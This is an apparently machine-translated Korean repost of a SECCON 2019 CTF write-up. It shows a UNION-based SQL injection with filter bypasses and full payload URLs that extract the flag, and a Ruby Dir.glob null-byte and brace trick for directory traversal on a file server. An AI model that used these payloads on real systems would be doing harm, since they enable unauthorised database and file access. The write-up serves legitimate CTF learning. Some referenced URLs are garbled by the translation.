SECCON 2019 Online CTF Write-up
7314 단어 CTF
자신은 web_search (212 pt)와 fileserver (345 pt)를 풀었으므로 Write-up을 작성합니다.
web_search
아무리 SQLi 할 수 있을 것 같은 느낌의 웹 사이트
하는 것은 UNION Based SQLi이지만 몇 가지 제약이 있습니다.
or
라는 문자열이 제거됩니다 ,
사용할 수 없음 첫 번째
or
를 사용할 수없는 것은 oorr
로 바꾸면 바이 패스 할 수 있습니다.두 번째 공간을 사용할 수 없는 문제는 몇 가지 대응법이 있는 것 같습니다만, 자신은
%0b
(탭 문자)로 대용했습니다.지금까지 UNION 할 때 필요한 열 수를 얻을 수 있습니다.
http://web-search.chal.seccon.jp/?q=' %0b OORRDER %0b BY %0b 3 ;#
ORDER BY
의 값을 1, 2, ... (으)로 늘려 간 결과, 4 로 에러가 발생했기 때문에 컬럼수는 3 이라고 알 수 있습니다.그런데, 세번째의 쉼표를 사용할 수 없는 문제입니다만, htps : ///scg 왁스 p. 기주 b. 이오/2017/01/03/33c3ctf-w 를 참고로 하면 우회할 수 있는 것을 알았습니다.
나머지는 항상 그렇습니다. 먼저 information_schema에서 필요한 정보를 SQLi로 추출합니다.
http://web-search.chal.seccon.jp/?q=' %0b UNION %0b SELECT %0b * %0b FROM %0b (SELECT %0b 1)a %0b JOIN %0b (SELECT %0b table_name %0b FROM %0b infoorrmation_schema.tables)b %0b JOIN %0b (SELECT %0b 2)c;#
http://web-search.chal.seccon.jp/?q=' %0b UNION %0b SELECT %0b * %0b FROM %0b (SELECT %0b 1)a %0b JOIN %0b (SELECT %0b column_name %0b FROM %0b infoorrmation_schema.columns %0b WHERE %0b table_name %0b = %0b 'flag')b %0b JOIN %0b (SELECT %0b 2)c;#
flag
테이블에서 FLAG를 꺼냅니다.http://web-search.chal.seccon.jp/?q=' %0b UNION %0b SELECT %0b * %0b FROM %0b (SELECT %0b 1)a %0b JOIN %0b (SELECT %0b piece %0b FROM %0b seccon_sqli.flag)b %0b JOIN %0b (SELECT %0b 2)c;#
이것으로 FLAG가 손에 들어갈까 생각하면, 일부(
You_Win_Yeah}
) 밖에 손에 들지 않았다.어쩔 수 없기 때문에,
articles
테이블의 쪽도 봐 본다.http://web-search.chal.seccon.jp/?q=' %0b UNION %0b SELECT %0b * %0b FROM %0b (SELECT %0b 1)a %0b JOIN %0b (SELECT %0b column_name %0b FROM %0b infoorrmation_schema.columns %0b WHERE %0b table_name %0b = %0b 'articles')b %0b JOIN %0b (SELECT %0b 2)c;#
http://web-search.chal.seccon.jp/?q=' %0b UNION %0b SELECT %0b * %0b FROM %0b (SELECT %0b 1)a %0b JOIN %0b (SELECT %0b description %0b FROM %0b seccon_sqli.articles)b %0b JOIN %0b (SELECT %0b 2)c;#
전반부(
SECCON{Yeah_Sqli_Success_
)가 손에 들고 연결하면 FLAG가 된다.SECCON{Yeah_Sqli_Success_You_Win_Yeah}
fileserver
Ruby 표준 라이브러리 WEBrick에서 웹 서버가 시작되었습니다.
req.path
의 마지막이 /
이면 해당 디렉토리 아래의 파일 목록이 반환됩니다.files = Dir.glob(".#{req.path}*")
그렇지 않으면 일치하는 파일의 내용이 반환됩니다.
matches = Dir.glob(req.path[1..])
file = File.open(matches.first, 'rb')
res['Content-Type'] = server.config[:MimeTypes][File.extname(req.path)[1..]]
res.body = file.read(1e6)
FLAG 는
/tmp/flags/#{SecureRandom.alphanumeric(32)}.txt
에 있으므로 디렉토리 트래버설이 필요합니다.FileUtils.cp('flag.txt', "/tmp/flags/#{SecureRandom.alphanumeric(32)}.txt")
답
Dir.glob()
하지만 토 CS. 루 바이안 g. 오 rg 을 보면 다음과 같이 쓰여 있습니다.패턴을 문자열로 지정합니다. 패턴을 "\0"으로 구분하여 한 번에 여러 패턴을 지정할 수도 있습니다. 패턴 구분에는 "\0"만 지정할 수 있습니다. 배열을 지정하여 여러 패턴을 지정할 수 있습니다.
따라서 다음과 같이 하면
/tmp/flags/*
의 파일 목록을 반환합니다.http://fileserver.chal.seccon.jp:9292/hoge\0/tmp/flags/
FLAG 파일 이름을 얻었으므로, 마찬가지로 파일 내용을 얻으려고하면 다음 위치에서 오류 (널 문자가 포함되어 있다는 내용)가 발생합니다.
res['Content-Type'] = server.config[:MimeTypes][File.extname(req.path)[1..]]
패스를 체크한다
is_bad_path
메소드를 잘 바이 패스하면 FLAG 가 입수한다.(
[
와 {
의 우선순위의 차이로부터 [
를 사용하면 {}
를 사용할 수 있다)http://fileserver.chal.seccon.jp:9292/{/tmp/flags/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.txt,[}
SECCON{You_are_the_Globbin'_Slayer}
Reference
이 문제에 관하여(SECCON 2019 Online CTF Write-up), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://qiita.com/koki-sato/items/f16f41394bde931d23df텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)